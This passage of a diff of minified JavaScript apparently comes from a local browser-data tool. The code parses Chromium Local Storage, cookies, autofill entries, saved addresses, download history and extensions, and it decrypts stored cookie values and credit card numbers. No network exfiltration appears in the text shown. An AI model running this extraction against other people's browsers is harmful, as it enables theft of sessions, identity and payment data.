Qt=0xdb4775248b80fb57n,ir=32768,dr=0,mr=1;function Zt(e){let t=new Map,r=Te(e);for(let o of r){let n=Y(e,o),i=nr(n);if(/\.(ldb|sst)$/i.test(o))for(let s of ro(i))sr(t,s)}for(let o of r){if(!/\.log$/i.test(o))continue;let n=Y(e,o),i=nr(n);for(let s of eo(i))sr(t,s)}return t}function sr(e,t){let r=t.key.toString("hex"),o=e.get(r);o&&o.sequence>t.sequence||e.set(r,t)}function eo(e){let t=[],r=0,o=[];for(;r+7<=e.length;){let n=ir-r%ir;if(n<7){r+=n;continue}let i=e.readUInt16LE(r+4),s=e[r+6];if(r+=7,s===0&&i===0){r+=i;continue}if(i>e.length-r||i>n-7)break;let c=e.subarray(r,r+i);r+=i,s===1?(t.push(...ar(c)),o=[]):s===2?o=[Buffer.from(c)]:s===3&&o.length>0?o.push(Buffer.from(c)):s===4&&o.length>0&&(o.push(Buffer.from(c)),t.push(...ar(Buffer.concat(o))),o=[])}return t}function ar(e){if(e.length<12)return[];let t=[],r=to(e,0),o=e.readUInt32LE(8),n=12,i=0;for(;n<e.length&&i<o;){let s=e[n++],c=lr(e,n);if(!c)break;n=c.nextOffset;let a=r+BigInt(i);if(s===mr){let f=lr(e,n);if(!f)break;n=f.nextOffset,t.push({key:c.value,value:f.value,sequence:a,deleted:!1})}else if(s===dr)t.push({key:c.value,sequence:a,deleted:!0});else break;i++}return t}function ro(e){let t=[];if(e.length<48||e.readBigUInt64LE(e.length-8)!==Qt)return t;let o=e.subarray(e.length-48,e.length-8),n=Le(o,0);if(!n)return t;let i=Le(o,n.bytesRead);if(!i)return t;let s=cr(e,i);if(!s)return t;for(let c of fr(s)){let a=Le(c.value,0);if(!a)continue;let f=cr(e,a);if(f)for(let l of fr(f)){if(l.key.length<8)continue;let p=l.key,u=p.length-8,g=p[u],m=oo(p.subarray(u)),d=p.subarray(0,u);g===mr?t.push({key:d,value:l.value,sequence:m,deleted:!1}):g===dr&&t.push({key:d,sequence:m,deleted:!0})}}return t}function cr(e,t){let r=t.offset+t.size;if(t.offset<0||t.size<0||r+5>e.length)return null;let o=e.subarray(t.offset,r),n=e[r];if(n===0)return o;if(n===1)try{return fe(o)}catch{return null}return null}function fr(e){if(e.length<4)return[];let t=e.readUInt32LE(e.length-4),r=t*4+4;if(t<1||r>e.length)return[];let o=e.length-r,n=[],i=0,s=Buffer.alloc(0);for(;i<o;){let c=z(e,i);if(!c)break;i=c.nextOffset;let a=z(e,i);if(!a)break;i=a.nextOffset;let f=z(e,i);if(!f||(i=f.nextOffset,c.value>s.length||i+a.value+f.value>o))break;let l=Buffer.concat([s.subarray(0,c.value),e.subarray(i,i+a.value)]);i+=a.value;let p=Buffer.from(e.subarray(i,i+f.value));i+=f.value,n.push({key:l,value:p}),s=l}return n}function Le(e,t){let r=ur(e,t);if(!r)return null;let o=ur(e,r.nextOffset);return!o||r.value>BigInt(Number.MAX_SAFE_INTEGER)||o.value>BigInt(Number.MAX_SAFE_INTEGER)?null:{offset:Number(r.value),size:Number(o.value),bytesRead:o.nextOffset-t}}function lr(e,t){let r=z(e,t);if(!r)return null;let o=r.nextOffset+r.value;return o>e.length?null:{value:Buffer.from(e.subarray(r.nextOffset,o)),nextOffset:o}}function ur(e,t){let r=0n,o=0n;for(let n=t;n<e.length&&n<t+10;n++){let i=e[n];if(r|=BigInt(i&127)<<o,(i&128)===0)return{value:r,nextOffset:n+1};o+=7n}return null}function to(e,t){let r=0n;for(let o=0;o<8;o++)r|=BigInt(e[t+o]||0)<<BigInt(o*8);return r}function oo(e){let t=0n;for(let r=1;r<8;r++)t|=BigInt(e[r]||0)<<BigInt((r-1)*8);return t}function*yr(e){let t=gr(e,"LocalStorage");if(T(t)){let r=v(t,`SELECT maps.storage_key, map_entries.key,
27
+ FROM cookies`,P=[],$=[];if(i)P.push("host_key LIKE ?"),$.push(`%${i}%`);else if(m){let x=Gt(m.hostname),J=x.map(()=>"?").join(", ");P.push(`host_key IN (${J})`),$.push(...x)}P.length>0&&(C+=` WHERE ${P.join(" AND ")}`),C+=" ORDER BY host_key, name",p&&!s&&(C+=` LIMIT ${p}`);let _r=v(A,C,$);for(let x of _r){if(m&&(!Vt(m.hostname,x.host_key||"")||!qt(m.pathname||"/",x.path||"/")||x.is_secure&&m.protocol!=="https:"))continue;let J=x.value||"";!J&&x.encrypted_value?.length>0&&c&&(J=Ht(ue(x.encrypted_value),x.host_key||"")),g.push({profile:E.name,domain:x.host_key||"",name:x.name||"",value:J,path:x.path||"/",expires:B(x.expires_utc||0),secure:!!x.is_secure,httpOnly:!!x.is_httponly,sameSite:["unspecified","lax","strict","none"][x.samesite]||"unspecified",created:B(x.creation_utc||0),lastAccessed:B(x.last_access_utc||0)})}}catch(C){S(n,E.name,"Cookies",C),y??=new Error(`Could not read cookies for profile "${E.name}" at ${A}: `+(C instanceof Error?C.message:String(C)))}}if(!n&&g.length===0&&y)throw y;return R(g,a)}import{join as gr}from"node:path";import{zstdDecompressSync as no}from"node:zlib";function z(e,t){let r=0,o=0;for(let n=t;n<e.length&&n<t+5;n++){let i=e[n];if(r|=(i&127)<<o,(i&128)===0)return{value:r>>>0,nextOffset:n+1};o+=7}return null}var Ae=64*1024*1024;function fe(e){let t=z(e,0);if(!t||t.value>Ae)throw new Error("Invalid Snappy length");let r=Buffer.alloc(t.value),o=t.nextOffset,n=0;for(;o<e.length&&n<r.length;){let i=e[o++],s=i&3;if(s===0){let f=i>>2;if(f<60)f+=1;else{let l=f-59;if(o+l>e.length)throw new Error("Invalid Snappy literal");f=1;for(let d=0;d<l;d++)f+=e[o++]<<d*8}if(o+f>e.length||n+f>r.length)throw new Error("Invalid Snappy literal length");e.copy(r,n,o,o+f),o+=f,n+=f;continue}let c,a;if(s===1){if(o>=e.length)throw new Error("Invalid Snappy copy");c=(i>>2&7)+4,a=(i&224)<<3|e[o++]}else if(s===2){if(o+2>e.length)throw new Error("Invalid Snappy copy");c=(i>>2)+1,a=e.readUInt16LE(o),o+=2}else{if(o+4>e.length)throw new Error("Invalid Snappy copy");c=(i>>2)+1,a=e.readUInt32LE(o),o+=4}if(a<=0||a>n||n+c>r.length)throw new Error("Invalid Snappy offset");for(let f=0;f<c;f++)r[n]=r[n-a],n++}if(n!==r.length)throw new Error("Truncated Snappy stream");return r}import{copyFileSync as Yt,readFileSync as nr,readdirSync as Jt,rmSync as Xt}from"node:fs";import{join as Y}from"node:path";function Te(e){return Jt(e).filter(t=>/\.(log|ldb|sst)$/i.test(t)).sort()}function pr(e,t){let r=se(t,"chrome-local-storage-");try{let o=Te(e),n=o.map(s=>T(Y(e,s)));try{for(let s of o)Yt(Y(e,s),Y(r,s))}catch(s){throw new h("snapshot_unavailable","Could not copy Local Storage. Close the browser and retry if it is open.",{cause:s})}let i=Te(e);if(i.length!==o.length||o.some((s,c)=>s!==i[c]||!ie(n[c],T(Y(e,s)))))throw new h("snapshot_unavailable","Local Storage changed during the copy. Close the browser and retry.");return Zt(r).values()}finally{Xt(r,{recursive:!0,force:!0,maxRetries:3})}}var Qt=0xdb4775248b80fb57n,ir=32768,dr=0,mr=1;function Zt(e){let t=new Map,r=Te(e);for(let o of r){let n=Y(e,o),i=nr(n);if(/\.(ldb|sst)$/i.test(o))for(let s of ro(i))sr(t,s)}for(let o of r){if(!/\.log$/i.test(o))continue;let n=Y(e,o),i=nr(n);for(let s of eo(i))sr(t,s)}return t}function sr(e,t){let r=t.key.toString("hex"),o=e.get(r);o&&o.sequence>t.sequence||e.set(r,t)}function eo(e){let t=[],r=0,o=[];for(;r+7<=e.length;){let n=ir-r%ir;if(n<7){r+=n;continue}let i=e.readUInt16LE(r+4),s=e[r+6];if(r+=7,s===0&&i===0){r+=i;continue}if(i>e.length-r||i>n-7)break;let c=e.subarray(r,r+i);r+=i,s===1?(t.push(...ar(c)),o=[]):s===2?o=[Buffer.from(c)]:s===3&&o.length>0?o.push(Buffer.from(c)):s===4&&o.length>0&&(o.push(Buffer.from(c)),t.push(...ar(Buffer.concat(o))),o=[])}return t}function ar(e){if(e.length<12)return[];let t=[],r=to(e,0),o=e.readUInt32LE(8),n=12,i=0;for(;n<e.length&&i<o;){let s=e[n++],c=lr(e,n);if(!c)break;n=c.nextOffset;let a=r+BigInt(i);if(s===mr){let f=lr(e,n);if(!f)break;n=f.nextOffset,t.push({key:c.value,value:f.value,sequence:a,deleted:!1})}else if(s===dr)t.push({key:c.value,sequence:a,deleted:!0});else break;i++}return t}function ro(e){let t=[];if(e.length<48||e.readBigUInt64LE(e.length-8)!==Qt)return t;let o=e.subarray(e.length-48,e.length-8),n=Le(o,0);if(!n)return t;let i=Le(o,n.bytesRead);if(!i)return t;let s=cr(e,i);if(!s)return t;for(let c of fr(s)){let a=Le(c.value,0);if(!a)continue;let f=cr(e,a);if(f)for(let l of fr(f)){if(l.key.length<8)continue;let d=l.key,u=d.length-8,g=d[u],m=oo(d.subarray(u)),p=d.subarray(0,u);g===mr?t.push({key:p,value:l.value,sequence:m,deleted:!1}):g===dr&&t.push({key:p,sequence:m,deleted:!0})}}return t}function cr(e,t){let r=t.offset+t.size;if(t.offset<0||t.size<0||r+5>e.length)return null;let o=e.subarray(t.offset,r),n=e[r];if(n===0)return o;if(n===1)try{return fe(o)}catch{return null}return null}function fr(e){if(e.length<4)return[];let t=e.readUInt32LE(e.length-4),r=t*4+4;if(t<1||r>e.length)return[];let o=e.length-r,n=[],i=0,s=Buffer.alloc(0);for(;i<o;){let c=z(e,i);if(!c)break;i=c.nextOffset;let a=z(e,i);if(!a)break;i=a.nextOffset;let f=z(e,i);if(!f||(i=f.nextOffset,c.value>s.length||i+a.value+f.value>o))break;let l=Buffer.concat([s.subarray(0,c.value),e.subarray(i,i+a.value)]);i+=a.value;let d=Buffer.from(e.subarray(i,i+f.value));i+=f.value,n.push({key:l,value:d}),s=l}return n}function Le(e,t){let r=ur(e,t);if(!r)return null;let o=ur(e,r.nextOffset);return!o||r.value>BigInt(Number.MAX_SAFE_INTEGER)||o.value>BigInt(Number.MAX_SAFE_INTEGER)?null:{offset:Number(r.value),size:Number(o.value),bytesRead:o.nextOffset-t}}function lr(e,t){let r=z(e,t);if(!r)return null;let o=r.nextOffset+r.value;return o>e.length?null:{value:Buffer.from(e.subarray(r.nextOffset,o)),nextOffset:o}}function ur(e,t){let r=0n,o=0n;for(let n=t;n<e.length&&n<t+10;n++){let i=e[n];if(r|=BigInt(i&127)<<o,(i&128)===0)return{value:r,nextOffset:n+1};o+=7n}return null}function to(e,t){let r=0n;for(let o=0;o<8;o++)r|=BigInt(e[t+o]||0)<<BigInt(o*8);return r}function oo(e){let t=0n;for(let r=1;r<8;r++)t|=BigInt(e[r]||0)<<BigInt((r-1)*8);return t}function*yr(e){let t=gr(e,"LocalStorage");if(T(t)){let r=v(t,`SELECT maps.storage_key, map_entries.key,
28
28
  map_entries.value, map_entries.value_compression_type
29
- FROM map_entries JOIN maps ON maps.row_id = map_entries.map_id`);for(let o of r){if(!Buffer.isBuffer(o.storage_key)||!Buffer.isBuffer(o.key)||!Buffer.isBuffer(o.value))throw new h("unsupported_schema","Unexpected LocalStorage record encoding.");let n=o.storage_key.toString("utf8");yield{origin:n.includes("^")||n==="file:///"?n:n.replace(/\/$/,""),key:le(o.key),value:le(io(o.value,o.value_compression_type))}}return}for(let r of pr(gr(e,"Local Storage","leveldb"),e)){if(r.deleted||!r.value)continue;let o=so(r.key,r.value);o&&(yield o)}}function io(e,t){switch(t){case 0:return e;case 1:return no(e,{maxOutputLength:Ae});case 2:return fe(e);default:throw new h("unsupported_schema","Unknown LocalStorage value compression type.")}}function so(e,t){if(e.length<3||e[0]!==95)return null;let r=e.indexOf(0,1);if(r===-1)return null;let o=e.subarray(1,r).toString("utf8"),n=le(e.subarray(r+1)),i=le(t);return o?{origin:o,key:n,value:i}:null}function le(e){if(e.length===0)return"";let t=e[0],r=e.subarray(1);return t===0&&r.length%2===0?r.toString("utf16le"):t===1?r.toString("latin1"):e.toString("utf8")}function ao({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n,origin:i,url:s,key:c,search:a,limit:f=100}={}){let l=w({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n}),p=[],u=co(s||i),g=c?.toLowerCase(),m=a?.toLowerCase();for(let d of l)try{for(let y of yr(d.path)){let E={profile:d.name,...y};u&&!E.origin.toLowerCase().includes(u)||g&&!E.key.toLowerCase().includes(g)||m&&!`${E.origin}
29
+ FROM map_entries JOIN maps ON maps.row_id = map_entries.map_id`);for(let o of r){if(!Buffer.isBuffer(o.storage_key)||!Buffer.isBuffer(o.key)||!Buffer.isBuffer(o.value))throw new h("unsupported_schema","Unexpected LocalStorage record encoding.");let n=o.storage_key.toString("utf8");yield{origin:n.includes("^")||n==="file:///"?n:n.replace(/\/$/,""),key:le(o.key),value:le(io(o.value,o.value_compression_type))}}return}for(let r of pr(gr(e,"Local Storage","leveldb"),e)){if(r.deleted||!r.value)continue;let o=so(r.key,r.value);o&&(yield o)}}function io(e,t){switch(t){case 0:return e;case 1:return no(e,{maxOutputLength:Ae});case 2:return fe(e);default:throw new h("unsupported_schema","Unknown LocalStorage value compression type.")}}function so(e,t){if(e.length<3||e[0]!==95)return null;let r=e.indexOf(0,1);if(r===-1)return null;let o=e.subarray(1,r).toString("utf8"),n=le(e.subarray(r+1)),i=le(t);return o?{origin:o,key:n,value:i}:null}function le(e){if(e.length===0)return"";let t=e[0],r=e.subarray(1);return t===0&&r.length%2===0?r.toString("utf16le"):t===1?r.toString("latin1"):e.toString("utf8")}function ao({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n,origin:i,url:s,key:c,search:a,limit:f=100}={}){let l=w({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n}),d=[],u=co(s||i),g=c?.toLowerCase(),m=a?.toLowerCase();for(let p of l)try{for(let y of yr(p.path)){let E={profile:p.name,...y};u&&!E.origin.toLowerCase().includes(u)||g&&!E.key.toLowerCase().includes(g)||m&&!`${E.origin}
30
30
  ${E.key}
31
- ${E.value}`.toLowerCase().includes(m)||p.push(E)}}catch(y){S(n,d.name,"Local Storage",y)}return p.sort((d,y)=>d.profile.localeCompare(y.profile)||d.origin.localeCompare(y.origin)||d.key.localeCompare(y.key)),R(p,f)}function co(e){if(e)try{return new URL(e).origin.toLowerCase()}catch{return e.toLowerCase()}}var D={firstName:3,middleName:4,lastName:5,fullName:7,email:9,phone:14,line1:30,line2:31,city:33,state:34,zipcode:35,countryCode:36,companyName:60,streetAddress:77},hr=["guid","use_count","use_date","date_modified"],Sr=["guid","type","value"];function I(e,t,r){let o=new Set(e("SELECT name FROM pragma_table_info(?)",[t]).map(n=>n.name));return r.every(n=>o.has(n))}function Er(e){return B(e?BigInt(e)*1000000n+11644473600000000n:0)}function wr(e,t,r,o){let n=new Map;for(let i of e("SELECT guid, type, value FROM "+o)){let s=n.get(i.guid);s||(s=new Map,n.set(i.guid,s)),s.set(i.type,i.value)}return e("SELECT guid, use_count, use_date, date_modified FROM "+r).map(i=>{let s=c=>n.get(i.guid)?.get(c)||"";return{useDate:i.use_date,entry:{profile:t,guid:i.guid,fullName:s(D.fullName)||[D.firstName,D.middleName,D.lastName].map(s).filter(Boolean).join(" "),email:s(D.email),phone:s(D.phone),companyName:s(D.companyName),streetAddress:s(D.streetAddress)||[D.line1,D.line2].map(s).filter(Boolean).join(`
32
- `),city:s(D.city),state:s(D.state),zipcode:s(D.zipcode),countryCode:s(D.countryCode),origin:"",useCount:i.use_count||0,dateModified:Er(i.date_modified)}}})}function fo(e,t){let r=I(e,"autofill_profile_names",["guid","first_name","middle_name","last_name","full_name"])?e("SELECT guid, first_name, middle_name, last_name, full_name FROM autofill_profile_names"):[],o=I(e,"autofill_profile_emails",["guid","email"])?e("SELECT guid, email FROM autofill_profile_emails"):[],n=I(e,"autofill_profile_phones",["guid","number"])?e("SELECT guid, number FROM autofill_profile_phones"):[],i=new Map(r.map(a=>[a.guid,a.full_name||[a.first_name,a.middle_name,a.last_name].filter(Boolean).join(" ")])),s=new Map(o.map(a=>[a.guid,a.email])),c=new Map(n.map(a=>[a.guid,a.number]));return e("SELECT * FROM autofill_profiles ORDER BY use_date DESC").map(a=>({profile:t,guid:a.guid||"",fullName:i.get(a.guid)||"",email:s.get(a.guid)||"",phone:c.get(a.guid)||"",companyName:a.company_name||"",streetAddress:a.street_address||"",city:a.city||"",state:a.state||"",zipcode:a.zipcode||"",countryCode:a.country_code||"",origin:a.origin||"",useCount:a.use_count||0,dateModified:Er(a.date_modified)}))}function Br(e,t){return Oe(e,r=>{if(I(r,"addresses",hr)&&I(r,"address_type_tokens",Sr))return wr(r,t,"addresses","address_type_tokens").sort((i,s)=>s.useDate-i.useDate).map(({entry:i})=>i);let n=[["local_addresses","local_addresses_type_tokens"],["contact_info","contact_info_type_tokens"]].filter(([i,s])=>I(r,i,hr)&&I(r,s,Sr));if(n.length)return n.flatMap(([i,s])=>wr(r,t,i,s)).sort((i,s)=>s.useDate-i.useDate).map(({entry:i})=>i);if(I(r,"autofill_profiles",["guid","use_date"]))return fo(r,t);throw new h("unsupported_schema","Unrecognized saved-address schema in Web Data.")})}import{join as Ie}from"node:path";function lo({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n,search:i,limit:s=100}={}){let c=w({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n}),a=[],f=O(s);for(let l of c){let p=Ie(l.path,"Web Data");try{let u="SELECT name, value, date_created, date_last_used, count FROM autofill",g=[];if(i){u+=" WHERE IFNULL(name, '') LIKE ? ESCAPE '\\' OR IFNULL(value, '') LIKE ? ESCAPE '\\'";let d=q(i);g.push(d,d)}u+=" ORDER BY date_last_used DESC",f&&(u+=` LIMIT ${f}`);let m=v(p,u,g);for(let d of m)a.push({profile:l.name,name:d.name||"",value:d.value||"",dateCreated:B(d.date_created?BigInt(d.date_created)*1000000n+11644473600000000n:0),dateLastUsed:B(d.date_last_used?BigInt(d.date_last_used)*1000000n+11644473600000000n:0),count:d.count||0})}catch(u){S(n,l.name,"Web Data",u)}}return R(a,s)}function uo({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n,decryptionKey:i}={}){let s=t||e,c=o??_().id,a=w({chromeDir:e,profilePath:t,profile:r,browser:c,onDiagnostic:n}),f=[];for(let l of a){let p=Ie(l.path,"Web Data"),u=G(s??l.path,c,i,n,l.name,"Web Data");try{let g=v(p,`SELECT guid, name_on_card, expiration_month, expiration_year,
31
+ ${E.value}`.toLowerCase().includes(m)||d.push(E)}}catch(y){S(n,p.name,"Local Storage",y)}return d.sort((p,y)=>p.profile.localeCompare(y.profile)||p.origin.localeCompare(y.origin)||p.key.localeCompare(y.key)),R(d,f)}function co(e){if(e)try{return new URL(e).origin.toLowerCase()}catch{return e.toLowerCase()}}var D={firstName:3,middleName:4,lastName:5,fullName:7,email:9,phone:14,line1:30,line2:31,city:33,state:34,zipcode:35,countryCode:36,companyName:60,streetAddress:77},hr=["guid","use_count","use_date","date_modified"],Sr=["guid","type","value"];function I(e,t,r){let o=new Set(e("SELECT name FROM pragma_table_info(?)",[t]).map(n=>n.name));return r.every(n=>o.has(n))}function Er(e){return B(e?BigInt(e)*1000000n+11644473600000000n:0)}function wr(e,t,r,o){let n=new Map;for(let i of e("SELECT guid, type, value FROM "+o)){let s=n.get(i.guid);s||(s=new Map,n.set(i.guid,s)),s.set(i.type,i.value)}return e("SELECT guid, use_count, use_date, date_modified FROM "+r).map(i=>{let s=c=>n.get(i.guid)?.get(c)||"";return{useDate:i.use_date,entry:{profile:t,guid:i.guid,fullName:s(D.fullName)||[D.firstName,D.middleName,D.lastName].map(s).filter(Boolean).join(" "),email:s(D.email),phone:s(D.phone),companyName:s(D.companyName),streetAddress:s(D.streetAddress)||[D.line1,D.line2].map(s).filter(Boolean).join(`
32
+ `),city:s(D.city),state:s(D.state),zipcode:s(D.zipcode),countryCode:s(D.countryCode),origin:"",useCount:i.use_count||0,dateModified:Er(i.date_modified)}}})}function fo(e,t){let r=I(e,"autofill_profile_names",["guid","first_name","middle_name","last_name","full_name"])?e("SELECT guid, first_name, middle_name, last_name, full_name FROM autofill_profile_names"):[],o=I(e,"autofill_profile_emails",["guid","email"])?e("SELECT guid, email FROM autofill_profile_emails"):[],n=I(e,"autofill_profile_phones",["guid","number"])?e("SELECT guid, number FROM autofill_profile_phones"):[],i=new Map(r.map(a=>[a.guid,a.full_name||[a.first_name,a.middle_name,a.last_name].filter(Boolean).join(" ")])),s=new Map(o.map(a=>[a.guid,a.email])),c=new Map(n.map(a=>[a.guid,a.number]));return e("SELECT * FROM autofill_profiles ORDER BY use_date DESC").map(a=>({profile:t,guid:a.guid||"",fullName:i.get(a.guid)||"",email:s.get(a.guid)||"",phone:c.get(a.guid)||"",companyName:a.company_name||"",streetAddress:a.street_address||"",city:a.city||"",state:a.state||"",zipcode:a.zipcode||"",countryCode:a.country_code||"",origin:a.origin||"",useCount:a.use_count||0,dateModified:Er(a.date_modified)}))}function Br(e,t){return Oe(e,r=>{if(I(r,"addresses",hr)&&I(r,"address_type_tokens",Sr))return wr(r,t,"addresses","address_type_tokens").sort((i,s)=>s.useDate-i.useDate).map(({entry:i})=>i);let n=[["local_addresses","local_addresses_type_tokens"],["contact_info","contact_info_type_tokens"]].filter(([i,s])=>I(r,i,hr)&&I(r,s,Sr));if(n.length)return n.flatMap(([i,s])=>wr(r,t,i,s)).sort((i,s)=>s.useDate-i.useDate).map(({entry:i})=>i);if(I(r,"autofill_profiles",["guid","use_date"]))return fo(r,t);throw new h("unsupported_schema","Unrecognized saved-address schema in Web Data.")})}import{join as Ie}from"node:path";function lo({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n,search:i,limit:s=100}={}){let c=w({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n}),a=[],f=O(s);for(let l of c){let d=Ie(l.path,"Web Data");try{let u="SELECT name, value, date_created, date_last_used, count FROM autofill",g=[];if(i){u+=" WHERE IFNULL(name, '') LIKE ? ESCAPE '\\' OR IFNULL(value, '') LIKE ? ESCAPE '\\'";let p=q(i);g.push(p,p)}u+=" ORDER BY date_last_used DESC",f&&(u+=` LIMIT ${f}`);let m=v(d,u,g);for(let p of m)a.push({profile:l.name,name:p.name||"",value:p.value||"",dateCreated:B(p.date_created?BigInt(p.date_created)*1000000n+11644473600000000n:0),dateLastUsed:B(p.date_last_used?BigInt(p.date_last_used)*1000000n+11644473600000000n:0),count:p.count||0})}catch(u){S(n,l.name,"Web Data",u)}}return R(a,s)}function uo({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n,decryptionKey:i}={}){let s=t||e,c=o??_().id,a=w({chromeDir:e,profilePath:t,profile:r,browser:c,onDiagnostic:n}),f=[];for(let l of a){let d=Ie(l.path,"Web Data"),u=G(s??l.path,c,i,n,l.name,"Web Data");try{let g=v(d,`SELECT guid, name_on_card, expiration_month, expiration_year,
33
33
  card_number_encrypted, date_modified, origin, use_count,
34
34
  nickname
35
- FROM credit_cards ORDER BY use_date DESC`);for(let m of g){let d="";if(m.card_number_encrypted?.length>0){let y=u(m.card_number_encrypted);d=Buffer.isBuffer(y)?y.toString("utf8"):y}f.push({profile:l.name,guid:m.guid||"",nameOnCard:m.name_on_card||"",expirationMonth:m.expiration_month||0,expirationYear:m.expiration_year||0,cardNumber:d,nickname:m.nickname||"",origin:m.origin||"",useCount:m.use_count||0,dateModified:B(m.date_modified?BigInt(m.date_modified)*1000000n+11644473600000000n:0)})}}catch(g){S(n,l.name,"Web Data",g)}}return f}function po(e={}){let t=[];for(let r of w(e))try{for(let o of Br(Ie(r.path,"Web Data"),r.name))t.push(o)}catch(o){S(e.onDiagnostic,r.name,"Web Data",o)}return t}import{join as mo}from"node:path";var go={0:"in_progress",1:"complete",2:"cancelled",3:"interrupted"},yo={0:"not_dangerous",1:"dangerous_file",2:"dangerous_url",3:"dangerous_content",4:"maybe_dangerous_content",5:"uncommon_content",6:"user_validated",7:"dangerous_host",8:"potentially_unwanted",9:"allowlisted_by_policy"};function ho({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n,search:i,limit:s=100}={}){let c=w({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n}),a=[],f=O(s);for(let l of c){let p=mo(l.path,"History");try{let u=`SELECT target_path, tab_url, total_bytes, received_bytes,
35
+ FROM credit_cards ORDER BY use_date DESC`);for(let m of g){let p="";if(m.card_number_encrypted?.length>0){let y=u(m.card_number_encrypted);p=Buffer.isBuffer(y)?y.toString("utf8"):y}f.push({profile:l.name,guid:m.guid||"",nameOnCard:m.name_on_card||"",expirationMonth:m.expiration_month||0,expirationYear:m.expiration_year||0,cardNumber:p,nickname:m.nickname||"",origin:m.origin||"",useCount:m.use_count||0,dateModified:B(m.date_modified?BigInt(m.date_modified)*1000000n+11644473600000000n:0)})}}catch(g){S(n,l.name,"Web Data",g)}}return f}function po(e={}){let t=[];for(let r of w(e))try{for(let o of Br(Ie(r.path,"Web Data"),r.name))t.push(o)}catch(o){S(e.onDiagnostic,r.name,"Web Data",o)}return t}import{join as mo}from"node:path";var go={0:"in_progress",1:"complete",2:"cancelled",3:"interrupted"},yo={0:"not_dangerous",1:"dangerous_file",2:"dangerous_url",3:"dangerous_content",4:"maybe_dangerous_content",5:"uncommon_content",6:"user_validated",7:"dangerous_host",8:"potentially_unwanted",9:"allowlisted_by_policy"};function ho({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n,search:i,limit:s=100}={}){let c=w({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n}),a=[],f=O(s);for(let l of c){let d=mo(l.path,"History");try{let u=`SELECT target_path, tab_url, total_bytes, received_bytes,
36
36
  start_time, end_time, mime_type, original_mime_type,
37
37
  state, danger_type, opened, referrer, site_url
38
38
  FROM downloads`,g=[];if(i){u+=` WHERE IFNULL(target_path, '') LIKE ? ESCAPE '\\'
39
- OR IFNULL(tab_url, '') LIKE ? ESCAPE '\\'`;let d=q(i);g.push(d,d)}u+=" ORDER BY start_time DESC",f&&(u+=` LIMIT ${f}`);let m=v(p,u,g);for(let d of m)a.push({profile:l.name,targetPath:d.target_path||"",url:d.tab_url||"",siteUrl:d.site_url||"",referrer:d.referrer||"",totalBytes:d.total_bytes||0,receivedBytes:d.received_bytes||0,mimeType:d.mime_type||d.original_mime_type||"",state:go[d.state]||`unknown(${d.state})`,dangerType:yo[d.danger_type]||`unknown(${d.danger_type})`,opened:!!d.opened,startTime:B(d.start_time||0),endTime:B(d.end_time||0)})}catch(u){S(n,l.name,"History",u)}}return R(a,s)}import{existsSync as So,readFileSync as wo}from"node:fs";import{join as Eo}from"node:path";function Bo({chromeDir:e,profilePath:t,profile:r,search:o,browser:n,onDiagnostic:i}={}){let s=w({chromeDir:e,profilePath:t,profile:r,browser:n,onDiagnostic:i}),c=[];for(let a of s){let f=null;for(let l of["Secure Preferences","Preferences"]){let p=Eo(a.path,l);if(So(p))try{let g=JSON.parse(wo(p,"utf-8"))?.extensions?.settings;if(g&&typeof g=="object"){f=g;break}}catch(u){S(i,a.name,l,u instanceof SyntaxError?new Error("Invalid preferences JSON."):u)}}if(f)for(let[l,p]of Object.entries(f)){let u=p;if(u.location===5||u.location===10)continue;let g=u.manifest||{},m={profile:a.name,id:l,name:g.name||u.name||l,version:g.version||u.version||"unknown",description:g.description||"",enabled:u.state===1,homepageUrl:g.homepage_url||"",updateUrl:g.update_url||"",installTime:u.install_time||"",fromWebstore:u.from_webstore||!1,location:u.location||0};if(m.name.startsWith("__MSG_")&&(m.name=l),m.description.startsWith("__MSG_")&&(m.description=""),o){let d=o.toLowerCase();if(!(m.name&&m.name.toLowerCase().includes(d))&&!(m.id&&m.id.toLowerCase().includes(d)))continue}c.push(m)}}return c}import{join as _o}from"node:path";function vo({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n}={}){let i=w({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n}),s=[];for(let c of i){let a=_o(c.path,"Web Data");try{let f=v(a,`SELECT id, short_name, keyword, url, suggestions_url,
39
+ OR IFNULL(tab_url, '') LIKE ? ESCAPE '\\'`;let p=q(i);g.push(p,p)}u+=" ORDER BY start_time DESC",f&&(u+=` LIMIT ${f}`);let m=v(d,u,g);for(let p of m)a.push({profile:l.name,targetPath:p.target_path||"",url:p.tab_url||"",siteUrl:p.site_url||"",referrer:p.referrer||"",totalBytes:p.total_bytes||0,receivedBytes:p.received_bytes||0,mimeType:p.mime_type||p.original_mime_type||"",state:go[p.state]||`unknown(${p.state})`,dangerType:yo[p.danger_type]||`unknown(${p.danger_type})`,opened:!!p.opened,startTime:B(p.start_time||0),endTime:B(p.end_time||0)})}catch(u){S(n,l.name,"History",u)}}return R(a,s)}import{existsSync as So,readFileSync as wo}from"node:fs";import{join as Eo}from"node:path";function Bo({chromeDir:e,profilePath:t,profile:r,search:o,browser:n,onDiagnostic:i}={}){let s=w({chromeDir:e,profilePath:t,profile:r,browser:n,onDiagnostic:i}),c=[];for(let a of s){let f=null;for(let l of["Secure Preferences","Preferences"]){let d=Eo(a.path,l);if(So(d))try{let g=JSON.parse(wo(d,"utf-8"))?.extensions?.settings;if(g&&typeof g=="object"){f=g;break}}catch(u){S(i,a.name,l,u instanceof SyntaxError?new Error("Invalid preferences JSON."):u)}}if(f)for(let[l,d]of Object.entries(f)){let u=d;if(u.location===5||u.location===10)continue;let 